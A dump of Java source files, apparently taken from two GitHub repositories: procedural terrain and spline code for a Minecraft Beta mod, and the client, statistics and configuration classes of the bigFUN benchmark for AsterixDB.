bPos.z = (int) (end.z + pos.z);
BlockState.getState(level, bPos, bState);
if (replace.apply(bState)) {
BlocksHelper.setWithoutUpdate(level, bPos, state);
bPos.y = bPos.y - 1;
BlockState.getState(level, bPos, bState);
if (down && replace.apply(bState)) {
BlocksHelper.setWithoutUpdate(level, bPos, state);
}
}
}
public static boolean canGenerate(List<Vec3F> spline, float scale, Vec3i start, Level level, Function<BlockState, Boolean> canReplace) {
int count = spline.size();
Vec3F vec = spline.get(0);
Vec3i mut = new Vec3i();
float x1 = start.x + vec.x * scale;
float y1 = start.y + vec.y * scale;
float z1 = start.z + vec.z * scale;
for (int i = 1; i < count; i++) {
vec = spline.get(i);
float x2 = start.x + vec.x * scale;
float y2 = start.y + vec.y * scale;
float z2 = start.z + vec.z * scale;
for (float py = y1; py < y2; py += 3) {
if (py - start.y < 10) continue;
float lerp = (py - y1) / (y2 - y1);
float x = MHelper.lerp(lerp, x1, x2);
float z = MHelper.lerp(lerp, z1, z2);
mut.x = (int) x;
mut.y = (int) py;
mut.z = (int) z;
if (!canReplace.apply(BlockState.getState(level, mut))) {
return false;
}
}
x1 = x2;
y1 = y2;
z1 = z2;
}
return true;
}
public static boolean canGenerate(List<Vec3F> spline, Vec3i start, Level level, Function<BlockState, Boolean> canReplace) {
int count = spline.size();
Vec3F vec = spline.get(0);
Vec3i mut = new Vec3i();
float x1 = start.x + vec.x;
float y1 = start.y + vec.y;
float z1 = start.z + vec.z;
for (int i = 1; i < count; i++) {
vec = spline.get(i);
float x2 = start.x + vec.x;
float y2 = start.y + vec.y;
float z2 = start.z + vec.z;
for (float py = y1; py < y2; py += 3) {
if (py - start.y < 10) continue;
float lerp = (py - y1) / (y2 - y1);
float x = MHelper.lerp(lerp, x1, x2);
float z = MHelper.lerp(lerp, z1, z2);
mut.x = (int) x;
mut.y = (int) py;
mut.z = (int) z;
if (!canReplace.apply(BlockState.getState(level, mut))) {
return false;
}
}
x1 = x2;
y1 = y2;
z1 = z2;
}
return true;
}
public static Vec3F getPos(List<Vec3F> spline, float index) {
int i = (int) index;
int last = spline.size() - 1;
if (i >= last) {
return spline.get(last);
}
float delta = index - i;
Vec3F p1 = spline.get(i);
Vec3F p2 = spline.get(i + 1);
float x = MHelper.lerp(delta, p1.x, p2.x);
float y = MHelper.lerp(delta, p1.y, p2.y);
float z = MHelper.lerp(delta, p1.z, p2.z);
return new Vec3F(x, y, z);
}
public static void rotateSpline(List<Vec3F> spline, float angle) {
for (Vec3F v: spline) {
float sin = (float) Math.sin(angle);
float cos = (float) Math.cos(angle);
float x = v.x * cos + v.z * sin;
float z = v.x * sin + v.z * cos;
v.set(x, v.y, z);
}
}
public static List<Vec3F> copySpline(List<Vec3F> spline) {
List<Vec3F> result = new ArrayList<Vec3F>(spline.size());
for (Vec3F v: spline) {
result.add(new Vec3F(v.x, v.y, v.z));
}
return result;
}
public static void scale(List<Vec3F> spline, float scale) {
scale(spline, scale, scale, scale);
}
public static void scale(List<Vec3F> spline, float x, float y, float z) {
for (Vec3F v: spline) {
v.set(v.x * x, v.y * y, v.z * z);
}
}
public static void offset(List<Vec3F> spline, Vec3F offset) {
for (Vec3F v: spline) {
v.set(offset.x + v.x, offset.y + v.y, offset.z + v.z);
}
}
}
<file_sep>package paulevs.beb.util.sdf.primitive;
import paulevs.beb.util.MHelper;
public class SDFSphere extends SDFPrimitive {
private float radius;
public SDFSphere setRadius(float radius) {
this.radius = radius;
return this;
}
@Override
public float getDistance(float x, float y, float z) {
return MHelper.length(x, y, z) - radius;
}
}
<file_sep>package paulevs.beb.world.generator;
import java.util.Random;
import java.util.concurrent.locks.ReentrantLock;
import net.minecraft.util.maths.MathHelper;
import paulevs.beb.noise.OpenSimplexNoise;
import paulevs.beb.util.MHelper;
public class TerrainGenerator {
private static final float SCALE = 8.0F;
private static final int SIDE_XZ = (int) (16 / SCALE + 1);
private static final int SIDE_MAX = SIDE_XZ - 1;
private static final int SIDE_Y = (int) (128 / SCALE + 1);
private static final ReentrantLock LOCKER = new ReentrantLock();
private static final float[][][] DENSITY = new float[SIDE_XZ][SIDE_XZ][SIDE_Y];
private IslandLayer largeIslands;
private IslandLayer mediumIslands;
private IslandLayer smallIslands;
private OpenSimplexNoise noise1;
private OpenSimplexNoise noise2;
public TerrainGenerator(long seed) {
Random random = new Random(seed);
largeIslands = new IslandLayer(random.nextInt(), 300, 200, 70, 10, false);
mediumIslands = new IslandLayer(random.nextInt(), 150, 100, 70, 20, true);
smallIslands = new IslandLayer(random.nextInt(), 60, 50, 70, 30, false);
noise1 = new OpenSimplexNoise(random.nextInt());
noise2 = new OpenSimplexNoise(random.nextInt());
}
public void fillTerrainDensity(int cx, int cz) {
LOCKER.lock();
largeIslands.clearCache();
mediumIslands.clearCache();
smallIslands.clearCache();
for (int px = 0; px < SIDE_XZ; px++) {
double fillX = (double) px / SIDE_MAX + cx;
for (int pz = 0; pz < SIDE_XZ; pz++) {
double fillZ = (double) pz / SIDE_MAX + cz;
fillTerrainDensity(DENSITY[px][pz], fillX, fillZ);
}
}
LOCKER.unlock();
}
public float getDensity(int x, int y, int z) {
float dx = x / SCALE;
float dy = y / SCALE;
float dz = z / SCALE;
int x1 = (int) dx;
int y1 = (int) dy;
int z1 = (int) dz;
int x2 = x1 + 1;
int y2 = y1 + 1;
int z2 = z1 + 1;
dx -= x1;
dy -= y1;
dz -= z1;
float v1 = DENSITY[x1][z1][y1];
float v2 = DENSITY[x2][z1][y1];
float v3 = DENSITY[x1][z2][y1];
float v4 = DENSITY[x2][z2][y1];
float v5 = DENSITY[x1][z1][y2];
float v6 = DENSITY[x2][z1][y2];
float v7 = DENSITY[x1][z2][y2];
float v8 = DENSITY[x2][z2][y2];
v1 = MHelper.lerp(dx, v1, v2);
v3 = MHelper.lerp(dx, v3, v4);
v5 = MHelper.lerp(dx, v5, v6);
v7 = MHelper.lerp(dx, v7, v8);
v1 = MHelper.lerp(dz, v1, v3);
v2 = MHelper.lerp(dz, v5, v7);
return MHelper.lerp(dy, v1, v2);
}
private void fillTerrainDensity(float[] buffer, double x, double z) {
double distortion1 = noise1.eval(x * 0.1, z * 0.1) * 20 + noise2.eval(x * 0.2, z * 0.2) * 10 + noise1.eval(x * 0.4, z * 0.4) * 5;
double distortion2 = noise2.eval(x * 0.1, z * 0.1) * 20 + noise1.eval(x * 0.2, z * 0.2) * 10 + noise2.eval(x * 0.4, z * 0.4) * 5;
double px = (double) x * SCALE + distortion1;
double pz = (double) z * SCALE + distortion2;
largeIslands.updatePositions(px, pz);
mediumIslands.updatePositions(px, pz);
smallIslands.updatePositions(px, pz);
for (int y = 0; y < buffer.length; y++) {
double py = (double) y * SCALE;
float dist = largeIslands.getDensity(px, py, pz);
dist = dist > 1 ? dist : MHelper.max(dist, mediumIslands.getDensity(px, py, pz));
dist = dist > 1 ? dist : MHelper.max(dist, smallIslands.getDensity(px, py, pz));
if (dist > -0.5F) {
dist += noise1.eval(px * 0.01, py * 0.01, pz * 0.01) * 0.02 + 0.02;
dist += noise2.eval(px * 0.05, py * 0.05, pz * 0.05) * 0.01 + 0.01;
dist += noise1.eval(px * 0.1, py * 0.1, pz * 0.1) * 0.005 + 0.005;
}
buffer[y] = dist;
}
}
/**
* Check if this is land
* @param x - biome pos x
* @param z - biome pos z
*/
public boolean isLand(int x, int z) {
LOCKER.lock();
double px = (x >> 1) + 0.5;
double pz = (z >> 1) + 0.5;
double distortion1 = noise1.eval(px * 0.1, pz * 0.1) * 20 + noise2.eval(px * 0.2, pz * 0.2) * 10 + noise1.eval(px * 0.4, pz * 0.4) * 5;
double distortion2 = noise2.eval(px * 0.1, pz * 0.1) * 20 + noise1.eval(px * 0.2, pz * 0.2) * 10 + noise2.eval(px * 0.4, pz * 0.4) * 5;
px = px * SCALE + distortion1;
pz = pz * SCALE + distortion2;
largeIslands.updatePositions(px, pz);
mediumIslands.updatePositions(px, pz);
smallIslands.updatePositions(px, pz);
for (int y = 0; y < 32; y++) {
double py = (double) y * SCALE;
float dist = largeIslands.getDensity(px, py, pz);
dist = dist > 1 ? dist : MHelper.max(dist, mediumIslands.getDensity(px, py, pz));
dist = dist > 1 ? dist : MHelper.max(dist, smallIslands.getDensity(px, py, pz));
if (dist > -0.5F) {
dist += noise1.eval(px * 0.01, py * 0.01, pz * 0.01) * 0.02 + 0.02;
dist += noise2.eval(px * 0.05, py * 0.05, pz * 0.05) * 0.01 + 0.01;
dist += noise1.eval(px * 0.1, py * 0.1, pz * 0.1) * 0.005 + 0.005;
}
if (dist > -0.01) {
LOCKER.unlock();
return true;
}
}
LOCKER.unlock();
return false;
}
/**
* Get something like height
* @param x - block pos x
* @param z - block pos z
*/
public int getHeight(int x, int z) {
LOCKER.lock();
double px = (double) x / 8.0;
double pz = (double) z / 8.0;
double distortion1 = noise1.eval(px * 0.1, pz * 0.1) * 20 + noise2.eval(px * 0.2, pz * 0.2) * 10 + noise1.eval(px * 0.4, pz * 0.4) * 5;
double distortion2 = noise2.eval(px * 0.1, pz * 0.1) * 20 + noise1.eval(px * 0.2, pz * 0.2) * 10 + noise2.eval(px * 0.4, pz * 0.4) * 5;
px = (double) x * SCALE + distortion1;
pz = (double) z * SCALE + distortion2;
largeIslands.updatePositions(px, pz);
mediumIslands.updatePositions(px, pz);
smallIslands.updatePositions(px, pz);
for (int y = 32; y >= 0; y--) {
double py = (double) y * SCALE;
float dist = largeIslands.getDensity(px, py, pz);
dist = dist > 1 ? dist : MHelper.max(dist, mediumIslands.getDensity(px, py, pz));
dist = dist > 1 ? dist : MHelper.max(dist, smallIslands.getDensity(px, py, pz));
if (dist > -0.5F) {
dist += noise1.eval(px * 0.01, py * 0.01, pz * 0.01) * 0.02 + 0.02;
dist += noise2.eval(px * 0.05, py * 0.05, pz * 0.05) * 0.01 + 0.01;
dist += noise1.eval(px * 0.1, py * 0.1, pz * 0.1) * 0.005 + 0.005;
}
if (dist > 0) {
LOCKER.unlock();
return MathHelper.floor(MHelper.clamp(y + dist, y, y + 1) * SCALE);
}
}
LOCKER.unlock();
return 0;
}
}
<file_sep>package paulevs.beb.world.structures.placer;
import java.util.List;
import java.util.Random;
import net.minecraft.level.Level;
import net.minecraft.level.chunk.Chunk;
import net.minecraft.util.Vec3i;
public class RandomStructureScatter extends StructurePlacer {
private final int maxCount;
public RandomStructureScatter(int maxCount) {
this.maxCount = maxCount;
}
@Override
public void process(Level level, Random rand, int startX, int startZ, List<Vec3i> points) {
Chunk chunk = level.getChunk(startX, startZ);
int count = rand.nextInt(maxCount);
for (int i = 0; i < count; i++) {
int x = rand.nextInt(16);
int z = rand.nextInt(16);
int y = chunk.getHeight(x, z);
if (y > 0) {
points.add(new Vec3i(x | startX, y, z | startZ));
}
}
}
}
<file_sep>package paulevs.beb.util.sdf.operator;
public class SDFScale3D extends SDFUnary {
private float x;
private float y;
private float z;
public SDFScale3D setScale(float x, float y, float z) {
this.x = x;
this.y = y;
this.z = z;
return this;
}
@Override
public float getDistance(float x, float y, float z) {
return source.getDistance(x / this.x, y / this.y, z / this.z);
}
}
<file_sep>package paulevs.beb;
import net.modificationstation.stationloader.api.client.event.texture.TextureRegister;
import net.modificationstation.stationloader.api.common.config.Configuration;
import net.modificationstation.stationloader.api.common.event.block.BlockRegister;
import net.modificationstation.stationloader.api.common.event.item.tool.EffectiveBlocksProvider;
import net.modificationstation.stationloader.api.common.mod.StationMod;
import paulevs.beb.registry.EndBiomes;
import paulevs.beb.registry.EndBlocks;
import paulevs.beb.registry.EndTextures;
import paulevs.beb.registry.EndToolEffective;
public class BetterEndBeta implements StationMod {
public static final String MOD_ID = "beb";
public static Configuration config;
@Override
public void preInit() {
BlockRegister.EVENT.register(new EndBlocks());
TextureRegister.EVENT.register(new EndTextures());
EffectiveBlocksProvider.EVENT.register(new EndToolEffective());
new EndBiomes().registerBiomes();
//BiomeRegister.EVENT.register(new EndBiomes());
//ChunkGen.EVENT.register(new ChunkGen());
}
public static String getID(String name) {
return MOD_ID + "." + name;
}
}
<file_sep>package paulevs.beb.world.biome;
import paulevs.beb.block.EndTerrainBlock;
import paulevs.beb.registry.EndBlocks;
import paulevs.beb.util.BlockState;
import paulevs.beb.world.structures.EndStructures;
public class FoggyMushroomlandBiome extends EndBiome {
public FoggyMushroomlandBiome(String name) {
super(name);
this.setTerrain(
new BlockState(EndBlocks.getBlockID("end_terrain"), EndTerrainBlock.getVariant("end_mycelium")),
new BlockState(EndBlocks.getBlockID("end_terrain"), EndTerrainBlock.getVariant("end_moss"))
);
this.addStructure(EndStructures.MOSSY_GLOWSHROOM);
}
}
| 652412e7101d6bf05116114f45da0a1837f53b48 | [
"Markdown",
"Java"
] | 23 | Java | paulevsGitch/BetterEndBeta | 8d16c98d0113890ebfa1f3b2978e57e5f1d5a773 | 327ace2018832215d43e8641fcb6199959de7d2a |
refs/heads/master | <repo_name>neverovda/RackApp<file_sep>/app/time_format.rb
class TimeFormat
DEFAULT_COMPOSITION = %w[year month day].freeze
FORMAT_MAPPING = { 'year' => '%Y', 'month' => '%m', 'day' => '%d',
'hour' => '%H', 'minute' => '%M', 'second' => '%S' }.freeze
def initialize(params)
@composition_format = if params.key?('format')
params['format'].split(',')
else
DEFAULT_COMPOSITION
end
end
def valid?
invalid_params.empty?
end
def time
Time.now.strftime(string_format_time)
end
def invalid_params
@invalid_params ||= @composition_format - FORMAT_MAPPING.keys
end
private
def string_format_time
@composition_format.select { |format| FORMAT_MAPPING.key?(format) }
.map { |format| FORMAT_MAPPING[format] }.join('-')
end
end
<file_sep>/app.rb
require_relative 'app/time_format'
class App
def call(env)
request = Rack::Request.new(env)
if request.get? && request.path == '/time'
time_format(request.params)
else
make_response 404, 'Not found'
end
end
private
def time_format(params)
formatter = TimeFormat.new(params)
if formatter.valid?
make_response 200, formatter.time.to_s
else
make_response 400, "Unknows time formats [#{formatter.invalid_params.join(', ')}]"
end
end
def headers
{ 'Content-Type' => 'text/plain' }
end
def make_response(code, text_body)
[code, headers, [text_body + "\n"]]
end
end
| 5574c1107adb163cb417f6806f9b06080810902a | [
"Ruby"
] | 2 | Ruby | neverovda/RackApp | 977408cc7eb5357f010941a1700b4ba08c7f7eb6 | 9b4f4c6f6c5aebca3bb98b09372249caae862678 |
refs/heads/master | <repo_name>pouriapirz/bigFUN<file_sep>/src/main/java/structure/StatsCollector.java
/*
* Copyright by The Regents of the University of California
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* you may obtain a copy of the License from
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package structure;
import java.io.File;
import java.io.IOException;
import java.io.PrintWriter;
import java.text.DateFormat;
import java.text.SimpleDateFormat;
import java.util.Arrays;
import java.util.Date;
import java.util.HashMap;
import java.util.Set;
/**
* @author pouria
*/
public class StatsCollector {
int ignore; //number of beginning iteration to ignore in average report
HashMap<Pair, QueryStat> qvToStat;
String statsFile; //the file to eventually dump final results into
int counter; //for tracing purpose only
public StatsCollector(String statsFile, int ignore) {
this.qvToStat = new HashMap<Pair, QueryStat>();
this.statsFile = statsFile;
this.ignore = ignore;
this.counter = 0;
}
public void reset() {
qvToStat.clear();
}
public void updateStat(int qid, int vid, long time) {
Pair p = new Pair(qid, vid);
if (!qvToStat.containsKey(p)) {
qvToStat.put(p, new QueryStat(qid));
}
qvToStat.get(p).addStat(time);
}
public void report() {
partialReport(0, counter, statsFile);
}
private void partialReport(int startRound, int endRound, String fileName) {
try {
PrintWriter pw = new PrintWriter(new File(fileName));
if (startRound != 0) {
ignore = -1;
}
DateFormat df = new SimpleDateFormat("EEE, d MMM yyyy HH:mm:ss");
Date dateobj = new Date();
String currentTime = df.format(dateobj);
StringBuffer tsb = new StringBuffer();
tsb.append("Response Times (in ms per iteration)\n");
StringBuffer avgsb = new StringBuffer(currentTime);
avgsb.append("\n\nAvg Times (first " + ignore + " round(s) excluded)\n");
Set<Pair> keys = qvToStat.keySet();
Pair[] qvs = keys.toArray(new Pair[keys.size()]);
Arrays.sort(qvs);
for (Pair p : qvs) {
QueryStat qs = qvToStat.get(p);
tsb.append("Q").append(p.toString()).append("\t").append(qs.getTimes()).append("\n");
double partialAvg = -1;
if (avgsb != null) {
partialAvg = qs.getAverageRT(ignore);
avgsb.append("Q").append(p.toString()).append("\t").append(partialAvg).append("\n");
}
}
if (avgsb != null) {
pw.println(avgsb.toString());
pw.println("\n");
}
pw.println(tsb.toString());
pw.close();
} catch (IOException e) {
System.err.println("Problem in creating report in StatsCollector !");
e.printStackTrace();
}
}
}
<file_sep>/src/main/java/client/AbstractClientUtility.java
/*
* Copyright by The Regents of the University of California
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* you may obtain a copy of the License from
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package client;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.PrintWriter;
import structure.StatsCollector;
public abstract class AbstractClientUtility {
protected PrintWriter resPw;
protected StatsCollector sc;
public AbstractClientUtility(String statsFile, String resultsFile, int ignore) {
this.sc = new StatsCollector(statsFile, ignore);
if (resultsFile != null) {
try {
resPw = new PrintWriter(new File(resultsFile));
} catch (FileNotFoundException e) {
System.err.println("Problem in creating writer for query results dump !");
e.printStackTrace();
}
}
}
public abstract void init();
public abstract void terminate();
protected void updateStat(int qid, int vid, long rspTime) {
sc.updateStat(qid, vid, rspTime);
}
public void generateReport() {
sc.report();
}
}
<file_sep>/src/main/java/asterixUpdateClient/AsterixUpdateClientUtility.java
/*
* Copyright by The Regents of the University of California
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* you may obtain a copy of the License from
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package asterixUpdateClient;
import org.apache.http.HttpEntity;
import org.apache.http.HttpResponse;
import org.apache.http.HttpStatus;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.entity.StringEntity;
import org.apache.http.impl.client.DefaultHttpClient;
import org.apache.http.util.EntityUtils;
import client.AbstractUpdateClientUtility;
import config.Constants;
import structure.AqlUpdate;
import structure.Update;
import workloadGenerator.AbstractUpdateWorkloadGenerator;
public class AsterixUpdateClientUtility extends AbstractUpdateClientUtility {
final int TRACE_PACE = 5000;
String ccUrl;
DefaultHttpClient httpclient;
HttpPost httpPost;
int counter = 0; //for trace only
public AsterixUpdateClientUtility(String cc, int batchSize, int limit, AbstractUpdateWorkloadGenerator uwg,
String updatesFile, String statsFile, int ignore) {
super(batchSize, limit, uwg, updatesFile, statsFile, ignore);
this.ccUrl = cc;
}
@Override
public void init() {
httpclient = new DefaultHttpClient();
httpPost = new HttpPost(getUpdateUrl());
}
@Override
public void terminate() {
httpclient.getConnectionManager().shutdown();
}
@Override
public void executeUpdate(int qid, Update update) {
long rspTime = Constants.INVALID_TIME;
String updateBody = null;
HttpResponse response;
try {
updateBody = ((AqlUpdate) update).printAqlStatement();
httpPost.setEntity(new StringEntity(updateBody));
long s = System.currentTimeMillis();
response = httpclient.execute(httpPost);
HttpEntity entity = response.getEntity();
EntityUtils.consume(entity);
long e = System.currentTimeMillis();
rspTime = (e - s);
} catch (Exception e) {
System.err.println("Problem in running update " + qid + " against Asterixdb !");
updateStat(qid, 0, Constants.INVALID_TIME);
return;
}
int statusCode = response.getStatusLine().getStatusCode();
if (statusCode != HttpStatus.SC_OK) {
System.err.println("Update " + qid + " against Asterixdb returned http error code");
rspTime = Constants.INVALID_TIME;
}
updateStat(qid, 0, rspTime);
if (++counter % TRACE_PACE == 0) {
System.out
.println(counter + " Updates done - last one took\t" + rspTime + " ms\tStatus-Code\t" + statusCode);
}
}
private String getUpdateUrl() {
return ("http://" + ccUrl + ":" + Constants.ASTX_AQL_REST_API_PORT + "/update");
}
@Override
public void resetTraceCounters() {
counter = 0;
}
}
<file_sep>/src/main/java/config/Constants.java
/*
* Copyright by The Regents of the University of California
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* you may obtain a copy of the License from
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package config;
import datatype.DoubleArgument;
public class Constants {
public static final String ARG_TAG_IN_Q_TEMPLATE_FILE = "@PARAM";
public static final String QSEQ_FILE_DELIM = ",";
public static final String QPARAM_FILE_DELIM = ",";
public static final String ARG_DATETIME_DUMP_DELIM = "-";
public static final String COMMENT_TAG = "#";
public static final String SEED = "seed";
public static final String MAX_GBOOK_USR_ID = "max_gleambookUser_id";
public static final String CLIENT_TYPE = "clientType";
public static final String ITERATIONS = "iterations";
public static final String IGNORE = "ignore_rounds";
public static final String EXECUTE_QUERY = "execute";
public static final String UPDATE_OPR_TYPE_TAG = "operation";
public static final String INSERT_OPR_TYPE = "insert";
public static final String DELETE_OPR_TYPE = "delete";
public static final String UPDATE_BATCH_SIZE = "batch_size";
public static final String UPDATE_LIMIT = "limit";
public static final String STATS_FILE = "stats_file";
public static final String RESULTS_DUMP_FILE = "res_dump_file";
public static final String UPDATES_FILE = "updates_file";
public static final int INSERT_QIX = 18;
public static final int DELETE_QIX = 19;
public static final String CC_URL = "cc";
public static final String ASTX_DV_NAME = "dataverse";
public static final String ASTX_RANDOM_CLIENT_TAG = "AsterixdbReadOnly";
public static final String ASTX_DUMP_RESULTS = "dumpResults";
public static final String ASTX_UPDATE_CLIENT_TAG = "AsterixdbUpdate";
public static final String ASTX_DS_NAME = "dataset";
public static final String ASTX_KEY_NAME = "primary_key";
public static final int ASTX_AQL_REST_API_PORT = 19002;
public static final int INVALID_QID = -1;
public static final long INVALID_TIME = -1;
public static final String[] FREQ_KW = { "Surface", "Nexus" };
public static final String[] MEDIUM_KW = { "Galaxy", "Kindle" };
public static final String[] RARE_KW = { "Lumia", "XPeria" };
public static final int MIN_LAT = 26;
public static final int MAX_LAT = 47;
public static final int MIN_LON = 68;
public static final int MAX_LON = 96;
public static final DoubleArgument SMALL_RADIUS = new DoubleArgument(0.01);
public static final DoubleArgument MEDIUM_RADIUS = new DoubleArgument(0.1);
public static final DoubleArgument LARGE_RADIUS = new DoubleArgument(1.0);
public static final String DEFAULT_START_DATE = "2005-01-01-00-00-00";
public static final String DEFAULT_END_DATE = "2014-05-29-23-59-59";
public static final long DEFAULT_MAX_GBOOK_USR_ID = 10000L;
public static final long DEFAULT_SEED = 10L;
public static final String BIGFUN_CONFIG_FILE_NAME = "bigfun-conf.json";
public static final String Q_IX_FILE_NAME = "query-index.json";
public static final String WORKLOAD_FILE_NAME = "workload.txt";
public static final String STATS_FILE_NAME = "stats.txt";
public static final String Q_GEN_CONFIG_FILE_NAME = "query-params.txt";
}
<file_sep>/src/main/java/config/AsterixClientConfig.java
/*
* Copyright by The Regents of the University of California
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* you may obtain a copy of the License from
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package config;
import asterixReadOnlyClient.AsterixClientReadOnlyWorkload;
import asterixUpdateClient.AsterixClientUpdateWorkload;
import client.AbstractReadOnlyClient;
import client.AbstractUpdateClient;
import structure.UpdateTag;
public class AsterixClientConfig extends AbstractClientConfig {
public AsterixClientConfig(String clientConfigFile) {
super(clientConfigFile);
}
public AbstractReadOnlyClient readReadOnlyClientConfig(String bigFunHomePath) {
String cc = (String) getParamValue(Constants.CC_URL);
String dvName = (String) getParamValue(Constants.ASTX_DV_NAME);
int iter = (int) getParamValue(Constants.ITERATIONS);
String qIxFile = bigFunHomePath + "/files/" + Constants.Q_IX_FILE_NAME;
String qGenConfigFile = bigFunHomePath + "/files/" + Constants.Q_GEN_CONFIG_FILE_NAME;
String workloadFile = bigFunHomePath + "/files/" + Constants.WORKLOAD_FILE_NAME;
String statsFile = bigFunHomePath + "/files/output/" + Constants.STATS_FILE_NAME;
if (isParamSet(Constants.STATS_FILE)) {
statsFile = (String) getParamValue(Constants.STATS_FILE);
}
long seed = Constants.DEFAULT_SEED;
if (isParamSet(Constants.SEED)) {
Object value = getParamValue(Constants.SEED);
if (value instanceof Long) {
seed = (long) value;
} else if (value instanceof Integer) {
seed = ((Integer) value).longValue();
} else {
System.err.println("WARNING: Invalid Seed value in " + Constants.BIGFUN_CONFIG_FILE_NAME
+ " . Using default seed value for the generator.");
}
}
long maxUserId = Constants.DEFAULT_MAX_GBOOK_USR_ID;
if (isParamSet(Constants.MAX_GBOOK_USR_ID)) {
Object value = getParamValue(Constants.MAX_GBOOK_USR_ID);
if (value instanceof Long) {
maxUserId = (long) value;
} else if (value instanceof Integer) {
maxUserId = ((Integer) value).longValue();
} else {
System.err.println("WARNING: Invalid " + Constants.MAX_GBOOK_USR_ID + " value in "
+ Constants.BIGFUN_CONFIG_FILE_NAME + " . Using the default value for the generator.");
}
}
int ignore = -1;
if (isParamSet(Constants.IGNORE)) {
ignore = (int) getParamValue(Constants.IGNORE);
}
boolean qExec = true;
if (isParamSet(Constants.EXECUTE_QUERY)) {
qExec = (boolean) getParamValue(Constants.EXECUTE_QUERY);
}
boolean dumpResults = false;
String resultsFile = null;
if (isParamSet(Constants.ASTX_DUMP_RESULTS)) {
dumpResults = (boolean) getParamValue(Constants.ASTX_DUMP_RESULTS);
resultsFile = (String) getParamValue(Constants.RESULTS_DUMP_FILE);
}
AsterixClientReadOnlyWorkload rClient = new AsterixClientReadOnlyWorkload(cc, dvName, iter, qGenConfigFile,
qIxFile, statsFile, ignore, workloadFile, /*dumpDirFile,*/ resultsFile, seed, maxUserId);
rClient.setExecQuery(qExec);
rClient.setDumpResults(dumpResults);
return rClient;
}
@Override
public AbstractUpdateClient readUpdateClientConfig(String bigFunHomePath) {
String cc = (String) getParamValue(Constants.CC_URL);
String oprType = (String) getParamValue(Constants.UPDATE_OPR_TYPE_TAG);
String updatesFile = (String) getParamValue(Constants.UPDATES_FILE);
String statsFile = bigFunHomePath + "/files/output/" + Constants.STATS_FILE_NAME;
if (isParamSet(Constants.STATS_FILE)) {
statsFile = (String) getParamValue(Constants.STATS_FILE);
}
String dvName = (String) getParamValue(Constants.ASTX_DV_NAME);
String dsName = (String) getParamValue(Constants.ASTX_DS_NAME);
String keyName = (String) getParamValue(Constants.ASTX_KEY_NAME);
int batchSize = (int) getParamValue(Constants.UPDATE_BATCH_SIZE);
int limit = -1;
if (isParamSet(Constants.UPDATE_LIMIT)) {
limit = (int) getParamValue(Constants.UPDATE_LIMIT);
}
int ignore = -1;
if (isParamSet(Constants.IGNORE)) {
ignore = (int) getParamValue(Constants.IGNORE);
}
UpdateTag upTag = null;
if (oprType.equals(Constants.INSERT_OPR_TYPE)) {
upTag = UpdateTag.INSERT;
} else if (oprType.equals(Constants.DELETE_OPR_TYPE)) {
upTag = UpdateTag.DELETE;
} else {
System.err.println("Unknow Data Manipulation Operation for AsterixDB - " + oprType);
System.err.println("You can only run " + Constants.INSERT_OPR_TYPE + " and " + Constants.DELETE_OPR_TYPE
+ " against AsterixDB");
return null;
}
return new AsterixClientUpdateWorkload(cc, dvName, dsName, keyName, upTag, batchSize, limit, updatesFile,
statsFile, ignore);
}
}
<file_sep>/src/main/java/config/AbstractClientConfig.java
/*
* Copyright by The Regents of the University of California
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* you may obtain a copy of the License from
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package config;
import java.io.File;
import java.util.Map;
import com.fasterxml.jackson.databind.ObjectMapper;
import client.AbstractReadOnlyClient;
import client.AbstractUpdateClient;
public abstract class AbstractClientConfig {
private String clientConfigFile;
private Map<String, Object> params;
public AbstractClientConfig(String clientConfigFile) {
this.clientConfigFile = clientConfigFile;
}
public abstract AbstractReadOnlyClient readReadOnlyClientConfig(String bigFunHomePath);
public abstract AbstractUpdateClient readUpdateClientConfig(String bigFunHomePath);
public void parseConfigFile() {
ObjectMapper mapper = new ObjectMapper();
try {
params = mapper.readValue(new File(clientConfigFile), Map.class);
} catch (Exception e) {
System.err.println("Problem in parsing the JSON config file.");
e.printStackTrace();
}
}
public boolean isParamSet(String paramName) {
return params.containsKey(paramName);
}
public Object getParamValue(String paramName) {
return params.get(paramName);
}
/**
* Added for debug/trace purposes only
*
* @return List all params and their values in the current config
*/
public String printConfig() {
StringBuilder sb = new StringBuilder();
for (String s : params.keySet()) {
sb.append(s).append(":\t").append(getParamValue(s).toString()).append("\n");
}
return sb.toString();
}
}
<file_sep>/src/main/java/datatype/ArgumentParser.java
/*
* Copyright by The Regents of the University of California
